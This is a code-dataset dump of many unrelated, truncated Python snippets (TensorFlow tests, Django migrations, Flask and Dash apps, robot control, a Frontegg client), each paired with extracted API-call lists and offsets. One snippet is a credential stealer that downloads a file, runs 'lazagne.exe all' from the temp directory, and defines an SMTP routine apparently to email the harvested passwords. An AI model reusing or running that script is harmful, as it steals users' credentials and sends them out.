反向:卖ETH/BNC -> 买BIG/BNC -> 卖BIG/ETH
:param dog: implemention of BigOneDog
:return: 正向收益率,反向收益率
"""
... | [
"logging.getLogger",
"time.sleep",
"common.gen_logger",
"json.load",
"bigone.BigOneDog"
] | [((4131, 4155), 'common.gen_logger', 'gen_logger', (['"""bigonetest"""'], {}), "('bigonetest')\n", (4141, 4155), False, 'from common import gen_logger\n'), ((4169, 4196), 'logging.getLogger', 'logging.getLogger', (['"""bigone"""'], {}), "('bigone')\n", (4186, 4196), False, 'import logging\n'), ((4294, 4316), 'bigone.Bi... |
import os
import yaml
import logging
import importlib
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
logging.getLogger('tensorflow').disabled = True
from cifar_training_tools import cifar_training, cifar_error_test
def print_dict(d, tabs=0):
tab = '\t'
for key in d:
if type(d[key]) == dict:
pri... | [
"logging.getLogger",
"importlib.import_module",
"yaml.safe_load_all"
] | [((578, 604), 'yaml.safe_load_all', 'yaml.safe_load_all', (['stream'], {}), '(stream)\n', (596, 604), False, 'import yaml\n'), ((966, 992), 'yaml.safe_load_all', 'yaml.safe_load_all', (['stream'], {}), '(stream)\n', (984, 992), False, 'import yaml\n'), ((96, 127), 'logging.getLogger', 'logging.getLogger', (['"""tensorf... |
# -*- coding: utf-8 -*-
import os,sys
from PyQt4 import QtGui,QtCore
dataRoot = os.path.abspath(os.path.join(os.path.dirname(__file__),os.pardir,os.pardir,'histdata'))
sys.path.append(dataRoot)
import dataCenter as dataCenter
from data.mongodb.DataSourceMongodb import Mongodb
import datetime as dt
... | [
"datetime.datetime",
"datetime.datetime.now",
"os.path.dirname",
"dataCenter.dataCenter",
"sys.path.append"
] | [((177, 202), 'sys.path.append', 'sys.path.append', (['dataRoot'], {}), '(dataRoot)\n', (192, 202), False, 'import os, sys\n'), ((629, 652), 'dataCenter.dataCenter', 'dataCenter.dataCenter', ([], {}), '()\n', (650, 652), True, 'import dataCenter as dataCenter\n'), ((762, 787), 'datetime.datetime', 'dt.datetime', (['(20... |
# Copyright (C) 2021 Nippon Telegraph and Telephone Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICE... | [
"tacker.sol_refactored.objects.Link",
"tacker.sol_refactored.objects.VnfInstanceV2.get_by_id",
"tacker.sol_refactored.objects.VnfInstanceV2.get_all",
"oslo_log.log.getLogger",
"tacker.sol_refactored.common.exceptions.VnfInstanceNotFound",
"tacker.sol_refactored.objects.VnfInstanceV2_Links"
] | [((812, 839), 'oslo_log.log.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (829, 839), True, 'from oslo_log import log as logging\n'), ((911, 960), 'tacker.sol_refactored.objects.VnfInstanceV2.get_by_id', 'objects.VnfInstanceV2.get_by_id', (['context', 'inst_id'], {}), '(context, inst_id)\n', (942... |
#! /usr/bin/env python
import copy
from copy import deepcopy
import rospy
import threading
import quaternion
import numpy as np
from geometry_msgs.msg import Point
from visualization_msgs.msg import *
from franka_interface import ArmInterface
from panda_robot import PandaArm
import matplotlib.pyplot as plt
from scipy.s... | [
"numpy.block",
"quaternion.as_float_array",
"numpy.linalg.multi_dot",
"rospy.init_node",
"numpy.array",
"rospy.Rate",
"numpy.sin",
"matplotlib.pyplot.xlabel",
"matplotlib.pyplot.plot",
"numpy.subtract",
"numpy.dot",
"numpy.diagflat",
"panda_robot.PandaArm",
"numpy.identity",
"quaternion.... | [((353, 385), 'numpy.set_printoptions', 'np.set_printoptions', ([], {'precision': '(2)'}), '(precision=2)\n', (372, 385), True, 'import numpy as np\n'), ((2012, 2154), 'numpy.array', 'np.array', (['[[Kp, 0, 0, 0, 0, 0], [0, Kp, 0, 0, 0, 0], [0, 0, Kpz, 0, 0, 0], [0, 0, 0,\n Ko, 0, 0], [0, 0, 0, 0, Ko, 0], [0, 0, 0, ... |
# Generated by Django 2.2.9 on 2020-01-28 14:50
import django.utils.timezone
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("tests", "0009_auto_20200113_1239"),
]
operations = [
migrations.AddField(
model_name="modeltest",
... | [
"django.db.models.DateTimeField"
] | [((373, 428), 'django.db.models.DateTimeField', 'models.DateTimeField', ([], {'default': 'django.utils.timezone.now'}), '(default=django.utils.timezone.now)\n', (393, 428), False, 'from django.db import migrations, models\n')] |
"""Testing Device operations."""
import json
import unittest.mock as mock
from click.testing import CliRunner
import homeassistant_cli.cli as cli
def test_device_list(default_devices) -> None:
"""Test Device List."""
with mock.patch(
'homeassistant_cli.remote.get_devices', return_value=default_devic... | [
"json.loads",
"unittest.mock.patch",
"click.testing.CliRunner"
] | [((234, 319), 'unittest.mock.patch', 'mock.patch', (['"""homeassistant_cli.remote.get_devices"""'], {'return_value': 'default_devices'}), "('homeassistant_cli.remote.get_devices', return_value=default_devices\n )\n", (244, 319), True, 'import unittest.mock as mock\n'), ((348, 359), 'click.testing.CliRunner', 'CliRun... |
# (c) 2012-2014 Continuum Analytics, Inc. / http://continuum.io
# All Rights Reserved
#
# conda is distributed under the terms of the BSD 3-clause license.
# Consult LICENSE.txt or http://opensource.org/licenses/BSD-3-Clause.
import os
from os.path import dirname, join, exists
import unittest
import pytest
import con... | [
"os.path.exists",
"conda.config.rc.get",
"conda.config.pkgs_dir_from_envs_dir",
"os.path.join",
"conda.config.load_condarc",
"os.path.dirname",
"conda.utils.get_yaml",
"os.unlink",
"conda.config.get_proxy_servers",
"tests.helpers.run_conda_command",
"conda.config.normalize_urls"
] | [((460, 470), 'conda.utils.get_yaml', 'get_yaml', ([], {}), '()\n', (468, 470), False, 'from conda.utils import get_yaml\n'), ((552, 569), 'os.path.dirname', 'dirname', (['__file__'], {}), '(__file__)\n', (559, 569), False, 'from os.path import dirname, join, exists\n'), ((4287, 4312), 'os.path.dirname', 'os.path.dirna... |
import os
from azureml.pipeline.steps import PythonScriptStep
from azureml.core.runconfig import RunConfiguration
from azureml.core.conda_dependencies import CondaDependencies
from azureml.pipeline.core import PipelineData
from azureml.pipeline.core import PipelineParameter
from azureml.pipeline.steps import EstimatorS... | [
"os.path.abspath",
"azureml.pipeline.core.PipelineData",
"azureml.pipeline.steps.EstimatorStep"
] | [((998, 1145), 'azureml.pipeline.core.PipelineData', 'PipelineData', ([], {'name': '"""accuracy_file"""', 'pipeline_output_name': '"""accuracy_file"""', 'datastore': 'test_dir.datastore', 'output_mode': '"""mount"""', 'is_directory': '(False)'}), "(name='accuracy_file', pipeline_output_name='accuracy_file',\n datast... |
import torch
import argparse
import os
import sys
import cv2
import time
class Configuration():
def __init__(self):
self.EXP_NAME = 'mobilenetv2_cfbi'
self.DIR_ROOT = './'
self.DIR_DATA = os.path.join(self.DIR_ROOT, 'datasets')
self.DIR_DAVIS = os.path.join(self.DIR_DATA, 'DAVIS'... | [
"torch.cuda.is_available",
"os.path.join",
"os.path.isdir",
"os.makedirs"
] | [((219, 258), 'os.path.join', 'os.path.join', (['self.DIR_ROOT', '"""datasets"""'], {}), "(self.DIR_ROOT, 'datasets')\n", (231, 258), False, 'import os\n'), ((285, 321), 'os.path.join', 'os.path.join', (['self.DIR_DATA', '"""DAVIS"""'], {}), "(self.DIR_DATA, 'DAVIS')\n", (297, 321), False, 'import os\n'), ((346, 386), ... |
# Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"tensorflow.python.util.tf_should_use._add_should_use_warning",
"tensorflow.python.framework.constant_op.constant",
"gc.collect",
"tensorflow.python.platform.test.mock.patch.object",
"tensorflow.python.platform.test.main"
] | [((4539, 4550), 'tensorflow.python.platform.test.main', 'test.main', ([], {}), '()\n', (4548, 4550), False, 'from tensorflow.python.platform import test\n'), ((1240, 1297), 'tensorflow.python.platform.test.mock.patch.object', 'test.mock.patch.object', (['tf_should_use.tf_logging', '"""error"""'], {}), "(tf_should_use.t... |
from couchdbkit import ResourceNotFound
from tastypie import fields as tp_f
from corehq.apps.api.resources import JsonResource
from corehq.apps.api.resources.v0_1 import (
CustomResourceMeta,
RequirePermissionAuthentication,
)
from corehq.apps.api.util import get_object_or_not_exist
from corehq.apps.fixtures.mo... | [
"corehq.apps.api.resources.v0_1.RequirePermissionAuthentication",
"tastypie.fields.CharField",
"corehq.apps.fixtures.models.FixtureDataItem.by_domain",
"corehq.apps.api.util.get_object_or_not_exist",
"corehq.apps.fixtures.models.FixtureDataItem.by_field_value",
"corehq.apps.fixtures.models.FixtureDataType... | [((674, 763), 'tastypie.fields.DictField', 'tp_f.DictField', ([], {'attribute': '"""try_fields_without_attributes"""', 'readonly': '(True)', 'unique': '(True)'}), "(attribute='try_fields_without_attributes', readonly=True,\n unique=True)\n", (688, 763), True, 'from tastypie import fields as tp_f\n'), ((872, 938), 't... |
# -*- coding: utf-8 -*-
"""Define the cert_manager.domain.Domain unit tests."""
# Don't warn about things that happen as that is part of unit testing
# pylint: disable=protected-access
# pylint: disable=no-member
import json
from requests.exceptions import HTTPError
from testtools import TestCase
import responses
f... | [
"json.dumps",
"responses.add",
"cert_manager.domain.Domain"
] | [((1842, 1917), 'responses.add', 'responses.add', (['responses.GET', 'api_url'], {'json': 'self.valid_response', 'status': '(200)'}), '(responses.GET, api_url, json=self.valid_response, status=200)\n', (1855, 1917), False, 'import responses\n'), ((1936, 1983), 'cert_manager.domain.Domain', 'Domain', ([], {'client': 'se... |
from flask import Blueprint, Flask, send_from_directory
from werkzeug.security import check_password_hash, generate_password_hash
from app import db
from app.mod_auth.forms import LoginForm
from app.mod_auth.models import User
mod_ecomm = Blueprint('products', __name__, url_prefix='/products',
... | [
"flask.Blueprint",
"flask.send_from_directory"
] | [((248, 346), 'flask.Blueprint', 'Blueprint', (['"""products"""', '__name__'], {'url_prefix': '"""/products"""', 'static_folder': '"""../../frontend/build"""'}), "('products', __name__, url_prefix='/products', static_folder=\n '../../frontend/build')\n", (257, 346), False, 'from flask import Blueprint, Flask, send_f... |
import pprint
import logging
from django.conf import settings
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.response import Response
from zenslackchat.message import handler
from zenslackchat.models import SlackApp
from zenslackchat.models import ZendeskApp
class Eve... | [
"logging.getLogger",
"pprint.pformat",
"zenslackchat.models.ZendeskApp.client",
"zenslackchat.models.SlackApp.client",
"rest_framework.response.Response"
] | [((1240, 1267), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (1257, 1267), False, 'import logging\n'), ((2703, 2738), 'rest_framework.response.Response', 'Response', ([], {'status': 'status.HTTP_200_OK'}), '(status=status.HTTP_200_OK)\n', (2711, 2738), False, 'from rest_framework.respon... |
from django.conf import settings
from django.core.management import call_command
from django.core.management.base import BaseCommand
from os import path
class Command(BaseCommand):
help = "Populates data"
def handle(self, *args, **options):
fixture_path = path.join(path.dirname(
path.dirn... | [
"os.path.abspath",
"django.core.management.call_command"
] | [((510, 558), 'django.core.management.call_command', 'call_command', (['"""loaddata"""', '"""country"""'], {'verbosity': '(1)'}), "('loaddata', 'country', verbosity=1)\n", (522, 558), False, 'from django.core.management import call_command\n'), ((375, 397), 'os.path.abspath', 'path.abspath', (['__file__'], {}), '(__fil... |
import tensorflow as tf
@tf.function
def BinaryAccuracy_Infiltrates(y_true, y_pred, i=0):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def BinaryAccuracy_Pneumonia(y_true, y_pred, i=1):
return tf.keras.metrics.binary_accuracy(y_true[:, i], y_pred[:, i])
@tf.function
def... | [
"tensorflow.keras.metrics.BinaryAccuracy",
"tensorflow.keras.layers.Input",
"tensorflow.keras.applications.efficientnet.EfficientNetB7",
"tensorflow.keras.layers.Concatenate",
"tensorflow.keras.losses.BinaryCrossentropy",
"tensorflow.keras.metrics.Precision",
"tensorflow.keras.layers.Dense",
"tensorfl... | [((103, 163), 'tensorflow.keras.metrics.binary_accuracy', 'tf.keras.metrics.binary_accuracy', (['y_true[:, i]', 'y_pred[:, i]'], {}), '(y_true[:, i], y_pred[:, i])\n', (135, 163), True, 'import tensorflow as tf\n'), ((241, 301), 'tensorflow.keras.metrics.binary_accuracy', 'tf.keras.metrics.binary_accuracy', (['y_true[:... |
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"tensorflow.python.util.all_util.remove_undocumented"
] | [((6155, 6184), 'tensorflow.python.util.all_util.remove_undocumented', 'remove_undocumented', (['__name__'], {}), '(__name__)\n', (6174, 6184), False, 'from tensorflow.python.util.all_util import remove_undocumented\n')] |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
###############################################################################
# Copyright 2013 Kitware Inc.
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a cop... | [
"datetime.datetime.now"
] | [((8645, 8668), 'datetime.datetime.now', 'datetime.datetime.now', ([], {}), '()\n', (8666, 8668), False, 'import datetime\n')] |
# -*- coding: utf-8 -*-
import sys
import urllib
import urlparse
# import xbmc
import xbmcgui
import xbmcplugin
import aci
# Get the plugin url in plugin:// notation.
_url = sys.argv[0]
# Get the plugin handle as an integer number.
_handle = int(sys.argv[1])
# Get an instance of ACI.
ATV = aci.ACI()
ATV.load_aci()... | [
"xbmcplugin.setContent",
"xbmcplugin.setResolvedUrl",
"xbmcplugin.addDirectoryItem",
"urllib.urlencode",
"xbmcgui.ListItem",
"urlparse.parse_qsl",
"xbmcplugin.setPluginCategory",
"xbmcplugin.endOfDirectory",
"xbmcplugin.addSortMethod",
"aci.ACI"
] | [((296, 305), 'aci.ACI', 'aci.ACI', ([], {}), '()\n', (303, 305), False, 'import aci\n'), ((382, 566), 'urllib.urlencode', 'urllib.urlencode', (["{'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 FirePHP/0.7.4'\n , 'X-Requested-With': 'ShockwaveFlash/2172.16.17.32'}"], {}... |
# -*- coding: utf-8 -*-
"""The graphical part of a DFTB+ Optimization node"""
import logging
import tkinter as tk
import tkinter.ttk as ttk
import dftbplus_step
logger = logging.getLogger(__name__)
class TkOptimization(dftbplus_step.TkEnergy):
def __init__(
self,
tk_flowchart=None,
nod... | [
"logging.getLogger",
"tkinter.ttk.LabelFrame"
] | [((174, 201), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (191, 201), False, 'import logging\n'), ((1550, 1677), 'tkinter.ttk.LabelFrame', 'ttk.LabelFrame', (["self['frame']"], {'borderwidth': '(4)', 'relief': '"""sunken"""', 'text': '"""Optimization Parameters"""', 'labelanchor': '"""... |
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | [
"skywalking.protocol.management.Management_pb2.InstancePingPkg",
"skywalking.protocol.language_agent.Tracing_pb2_grpc.TraceSegmentReportServiceStub",
"skywalking.protocol.common.Common_pb2.KeyStringValuePair",
"skywalking.command.command_service.receive_command",
"skywalking.loggings.logger.debug",
"skywa... | [((1819, 1849), 'skywalking.protocol.management.Management_pb2_grpc.ManagementServiceStub', 'ManagementServiceStub', (['channel'], {}), '(channel)\n', (1840, 1849), False, 'from skywalking.protocol.management.Management_pb2_grpc import ManagementServiceStub\n'), ((2179, 2277), 'skywalking.loggings.logger.debug', 'logge... |
# Generated by Django 3.0.3 on 2020-02-07 19:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coingate', '0003_auto_20200207_1513'),
]
operations = [
migrations.RemoveField(
model_name='payment',
name='token',
... | [
"django.db.models.DateTimeField",
"django.db.models.DecimalField",
"django.db.migrations.RemoveField",
"django.db.models.CharField"
] | [((236, 294), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""payment"""', 'name': '"""token"""'}), "(model_name='payment', name='token')\n", (258, 294), False, 'from django.db import migrations, models\n'), ((442, 485), 'django.db.models.DateTimeField', 'models.DateTimeField', ([]... |
import toml
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__, instance_relative_config=True)
app.config.from_file("config.toml", load=toml.load)
db = SQLAlchemy(app)
@app.before_first_request
def create_table():
db.create_all()
from space_trace import views, cli
| [
"flask_sqlalchemy.SQLAlchemy",
"flask.Flask"
] | [((84, 130), 'flask.Flask', 'Flask', (['__name__'], {'instance_relative_config': '(True)'}), '(__name__, instance_relative_config=True)\n', (89, 130), False, 'from flask import Flask\n'), ((188, 203), 'flask_sqlalchemy.SQLAlchemy', 'SQLAlchemy', (['app'], {}), '(app)\n', (198, 203), False, 'from flask_sqlalchemy import... |
import dash
from dash.dependencies import Input, Output
import dash_html_components as html
import dash_core_components as dcc
app = dash.Dash(__name__)
app.layout = html.Div([
dcc.Textarea(
id='textarea-example',
value='Textarea content initialized\nwith multiple lines of text',
style={'w... | [
"dash.dependencies.Output",
"dash_core_components.Textarea",
"dash.dependencies.Input",
"dash.Dash",
"dash_html_components.Div"
] | [((134, 153), 'dash.Dash', 'dash.Dash', (['__name__'], {}), '(__name__)\n', (143, 153), False, 'import dash\n'), ((458, 503), 'dash.dependencies.Output', 'Output', (['"""textarea-example-output"""', '"""children"""'], {}), "('textarea-example-output', 'children')\n", (464, 503), False, 'from dash.dependencies import In... |
import pytest
from selenium.common.exceptions import WebDriverException
from wrapped_driver import WrappedDriver
def test_empty_chromedriver_path():
"""Assert error is raised if no chromedriver path is used"""
with pytest.raises(WebDriverException):
WrappedDriver(executable_path="", headless=True)
... | [
"pytest.raises",
"wrapped_driver.WrappedDriver"
] | [((226, 259), 'pytest.raises', 'pytest.raises', (['WebDriverException'], {}), '(WebDriverException)\n', (239, 259), False, 'import pytest\n'), ((269, 317), 'wrapped_driver.WrappedDriver', 'WrappedDriver', ([], {'executable_path': '""""""', 'headless': '(True)'}), "(executable_path='', headless=True)\n", (282, 317), Fal... |
"""
transforms.py is for shape-preserving functions.
"""
import numpy as np
def shift(values: np.ndarray, periods: int, axis: int, fill_value) -> np.ndarray:
new_values = values
if periods == 0 or values.size == 0:
return new_values.copy()
# make sure array sent to np.roll is c_con... | [
"numpy.intp"
] | [((564, 580), 'numpy.intp', 'np.intp', (['periods'], {}), '(periods)\n', (571, 580), True, 'import numpy as np\n')] |
from abc import ABCMeta, abstractmethod
from frontegg.helpers.frontegg_urls import frontegg_urls
import typing
import jwt
import requests
from frontegg.helpers.logger import logger
from jwt import InvalidTokenError
class IdentityClientMixin(metaclass=ABCMeta):
__publicKey = None
@property
@abstractmethod... | [
"jwt.decode",
"frontegg.helpers.logger.logger.info",
"jwt.InvalidTokenError",
"frontegg.helpers.logger.logger.error"
] | [((681, 752), 'frontegg.helpers.logger.logger.info', 'logger.info', (['"""could not find public key locally, will fetch public key"""'], {}), "('could not find public key locally, will fetch public key')\n", (692, 752), False, 'from frontegg.helpers.logger import logger\n'), ((1134, 1189), 'frontegg.helpers.logger.logg... |
#!/usr/bin/env python3
import requests
import subprocess
import smtplib
import re
import os
import tempfile
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as f:
f.write(get_response.content)
def send_mail(email, password, message):
... | [
"subprocess.check_output",
"smtplib.SMTP_SSL",
"requests.get",
"os.chdir",
"tempfile.gettempdir",
"os.remove"
] | [((500, 521), 'tempfile.gettempdir', 'tempfile.gettempdir', ([], {}), '()\n', (519, 521), False, 'import tempfile\n'), ((522, 540), 'os.chdir', 'os.chdir', (['temp_dir'], {}), '(temp_dir)\n', (530, 540), False, 'import os\n'), ((649, 703), 'subprocess.check_output', 'subprocess.check_output', (['"""lazagne.exe all"""']... |
from SmartAPI.rdf.List import List
class LinkedList(List):
def __init__(self):
List.__init__(self)
| [
"SmartAPI.rdf.List.List.__init__"
] | [((93, 112), 'SmartAPI.rdf.List.List.__init__', 'List.__init__', (['self'], {}), '(self)\n', (106, 112), False, 'from SmartAPI.rdf.List import List\n')] |
##################################################################################################
# Copyright (c) 2012 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restri... | [
"logging.getLogger",
"haystack.query.SearchQuerySet",
"frog.models.Gallery.objects.get",
"json.loads",
"frog.models.GallerySubscription.objects.get_or_create",
"django.core.exceptions.PermissionDenied",
"django.contrib.contenttypes.models.ContentType.objects.filter",
"functools.cmp_to_key",
"django.... | [((2656, 2681), 'logging.getLogger', 'logging.getLogger', (['"""frog"""'], {}), "('frog')\n", (2673, 2681), False, 'import logging\n'), ((4847, 4889), 'frog.models.Gallery.objects.get_or_create', 'Gallery.objects.get_or_create', ([], {'title': 'title'}), '(title=title)\n', (4876, 4889), False, 'from frog.models import ... |
# from redbot.core import Config
from redbot.core import Config, commands, checks
import asyncio
import aiohttp
import discord
from discord import Webhook, AsyncWebhookAdapter
import re
class Spotifyembed(commands.Cog):
"""Automatically send a reply to Spotify links with a link to the embed preview. Convenient for... | [
"aiohttp.ClientSession",
"redbot.core.Config.get_conf",
"redbot.core.checks.guildowner_or_permissions",
"redbot.core.commands.Cog.listener",
"redbot.core.commands.command",
"discord.AsyncWebhookAdapter",
"re.findall",
"redbot.core.commands.group"
] | [((684, 732), 'redbot.core.commands.group', 'commands.group', ([], {'aliases': "['setspembed', 'setspe']"}), "(aliases=['setspembed', 'setspe'])\n", (698, 732), False, 'from redbot.core import Config, commands, checks\n'), ((738, 772), 'redbot.core.checks.guildowner_or_permissions', 'checks.guildowner_or_permissions', ... |
import random
import math
from functools import partial
import json
import pysndfx
import librosa
import numpy as np
import torch
from ops.audio import (
read_audio, compute_stft, trim_audio, mix_audio_and_labels,
shuffle_audio, cutout
)
SAMPLE_RATE = 44100
class Augmentation:
"""A base class for data... | [
"random.uniform",
"random.choice",
"ops.audio.compute_stft",
"numpy.flipud",
"random.randrange",
"ops.audio.mix_audio_and_labels",
"numpy.random.randint",
"ops.audio.shuffle_audio",
"pysndfx.AudioEffectsChain",
"ops.audio.read_audio",
"numpy.random.uniform",
"numpy.expand_dims",
"numpy.trans... | [((2606, 2636), 'ops.audio.read_audio', 'read_audio', (["inputs['filename']"], {}), "(inputs['filename'])\n", (2616, 2636), False, 'from ops.audio import read_audio, compute_stft, trim_audio, mix_audio_and_labels, shuffle_audio, cutout\n'), ((2962, 3058), 'ops.audio.compute_stft', 'compute_stft', (["inputs['audio']"], ... |
#!/usr/env/bin python
import os
# os.environ['OMP_NUM_THREADS'] = '1'
from newpoisson import poisson
import numpy as np
from fenics import set_log_level, File, RectangleMesh, Point
mesh = RectangleMesh(Point(0,0), Point(1,1), 36, 36)
# comm = mesh.mpi_comm()
set_log_level(40) # ERROR=40
# from mpi4py import MPI
# com... | [
"fenics.Point",
"numpy.random.rand",
"argparse.ArgumentParser",
"fenics.set_log_level",
"numpy.random.randn",
"fenics.File",
"newpoisson.poisson"
] | [((261, 278), 'fenics.set_log_level', 'set_log_level', (['(40)'], {}), '(40)\n', (274, 278), False, 'from fenics import set_log_level, File, RectangleMesh, Point\n'), ((203, 214), 'fenics.Point', 'Point', (['(0)', '(0)'], {}), '(0, 0)\n', (208, 214), False, 'from fenics import set_log_level, File, RectangleMesh, Point\... |
"""
Irreduzibilitätskriterien
Implementiert wurden das Eisenstein- und das Perronkriterium
Quellen:
https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf
http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf
Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeff... | [
"itertools.combinations",
"helper.prime_factor",
"logging.error",
"helper.is_polynomial_coprime"
] | [((1295, 1341), 'itertools.combinations', 'itertools.combinations', (['non_zero_polynomial', '(2)'], {}), '(non_zero_polynomial, 2)\n', (1317, 1341), False, 'import itertools\n'), ((2755, 2804), 'helper.is_polynomial_coprime', 'helper.is_polynomial_coprime', (['(polynomial is False)'], {}), '(polynomial is False)\n', (... |
import streamlit as st
import math
from scipy.stats import *
import pandas as pd
import numpy as np
from plotnine import *
def app():
# title of the app
st.subheader("Proportions")
st.sidebar.subheader("Proportion Settings")
prop_choice = st.sidebar.radio("",["One Proportion","Two Proportions"])
... | [
"streamlit.markdown",
"math.sqrt",
"streamlit.write",
"streamlit.radio",
"streamlit.sidebar.radio",
"streamlit.sidebar.subheader",
"streamlit.subheader",
"streamlit.text_input",
"pandas.DataFrame",
"streamlit.columns",
"numpy.arange"
] | [((162, 189), 'streamlit.subheader', 'st.subheader', (['"""Proportions"""'], {}), "('Proportions')\n", (174, 189), True, 'import streamlit as st\n'), ((194, 237), 'streamlit.sidebar.subheader', 'st.sidebar.subheader', (['"""Proportion Settings"""'], {}), "('Proportion Settings')\n", (214, 237), True, 'import streamlit ... |
#!/usr/bin/env python
"""
This sample application is a server that supports COV notification services.
The console accepts commands that change the properties of an object that
triggers the notifications.
"""
import time
from threading import Thread
from bacpypes.debugging import bacpypes_debugging, ModuleLogger
fro... | [
"bacpypes.local.device.LocalDeviceObject",
"threading.Thread.__init__",
"bacpypes.consolelogging.ConfigArgumentParser",
"bacpypes.core.deferred",
"time.sleep",
"bacpypes.core.enable_sleeping",
"bacpypes.object.BinaryValueObject",
"bacpypes.core.run",
"bacpypes.object.AnalogValueObject",
"bacpypes.... | [((10421, 10462), 'bacpypes.consolelogging.ConfigArgumentParser', 'ConfigArgumentParser', ([], {'description': '__doc__'}), '(description=__doc__)\n', (10441, 10462), False, 'from bacpypes.consolelogging import ConfigArgumentParser\n'), ((11416, 11447), 'bacpypes.local.device.LocalDeviceObject', 'LocalDeviceObject', ([... |
#Answer Generation
import csv
import os
import numpy as np
from keras.models import *
from keras.models import Model
from keras.preprocessing import text
def load_model():
print('\nLoading model...')
# load json and create model
json_file = open('models/MODEL.json', 'r')
loaded_model_json = json_file... | [
"os.path.exists",
"keras.preprocessing.text.Tokenizer",
"numpy.argmax",
"os.path.isfile",
"os.mkdir",
"numpy.load",
"csv.reader"
] | [((976, 1017), 'numpy.load', 'np.load', (['"""data/vectorized/Test_title.npy"""'], {}), "('data/vectorized/Test_title.npy')\n", (983, 1017), True, 'import numpy as np\n'), ((1045, 1088), 'numpy.load', 'np.load', (['"""data/vectorized/Test_summary.npy"""'], {}), "('data/vectorized/Test_summary.npy')\n", (1052, 1088), Tr... |
"""Non-linear SPDE model on a periodic 1D spatial domain for laminar wave fronts.
Based on the Kuramato--Sivashinsky PDE model [1, 2] which exhibits spatio-temporally
chaotic dynamics.
References:
1. Kuramoto and Tsuzuki. Persistent propagation of concentration waves
in dissipative media far from thermal ... | [
"dapy.models.transforms.fft.irfft",
"dapy.models.transforms.rfft_coeff_to_real_array",
"numpy.exp",
"dapy.integrators.etdrk4.FourierETDRK4Integrator",
"numpy.zeros",
"dapy.models.transforms.real_array_to_rfft_coeff",
"numpy.arange"
] | [((6910, 6989), 'dapy.models.transforms.rfft_coeff_to_real_array', 'rfft_coeff_to_real_array', (['(state_noise_kernel + 1.0j * state_noise_kernel)', '(False)'], {}), '(state_noise_kernel + 1.0j * state_noise_kernel, False)\n', (6934, 6989), False, 'from dapy.models.transforms import OneDimensionalFourierTransformedDiag... |
# -*-encoding:utf-8-*-
import os
from karlooper.web.application import Application
from karlooper.web.request import Request
class UsersHandler(Request):
def get(self):
return self.render("/user-page.html")
class UserInfoHandler(Request):
def post(self):
print(self.get_http_request_message(... | [
"karlooper.web.application.Application",
"os.getcwd"
] | [((930, 973), 'karlooper.web.application.Application', 'Application', (['url_mapping'], {'settings': 'settings'}), '(url_mapping, settings=settings)\n', (941, 973), False, 'from karlooper.web.application import Application\n'), ((768, 779), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (777, 779), False, 'import os\n'), ... |
import random
import math
class LoopPadding(object):
def __init__(self, size):
self.size = size
def __call__(self, frame_indices):
out = frame_indices
for index in out:
if len(out) >= self.size:
break
out.append(index)
return out
cl... | [
"random.randint"
] | [((2430, 2457), 'random.randint', 'random.randint', (['(0)', 'rand_end'], {}), '(0, rand_end)\n', (2444, 2457), False, 'import random\n')] |
from waiter.action import process_kill_request
from waiter.util import guard_no_cluster, check_positive
def kill(clusters, args, _, __):
"""Kills the service(s) using the given token name."""
guard_no_cluster(clusters)
token_name_or_service_id = args.get('token-or-service-id')
is_service_id = args.get... | [
"waiter.action.process_kill_request",
"waiter.util.guard_no_cluster"
] | [((202, 228), 'waiter.util.guard_no_cluster', 'guard_no_cluster', (['clusters'], {}), '(clusters)\n', (218, 228), False, 'from waiter.util import guard_no_cluster, check_positive\n'), ((436, 537), 'waiter.action.process_kill_request', 'process_kill_request', (['clusters', 'token_name_or_service_id', 'is_service_id', 'f... |
# See LICENSE.incore file for details
import os,re
import multiprocessing as mp
import time
import shutil
from riscv_ctg.log import logger
import riscv_ctg.utils as utils
import riscv_ctg.constants as const
from riscv_isac.cgf_normalize import expand_cgf
from riscv_ctg.generator import Generator
from math import *
fr... | [
"riscv_isac.cgf_normalize.expand_cgf",
"os.path.exists",
"os.path.join",
"shutil.copytree",
"riscv_ctg.log.logger.level",
"riscv_ctg.utils.load_yaml",
"multiprocessing.Pool",
"time.time",
"riscv_ctg.generator.Generator",
"riscv_ctg.log.logger.info"
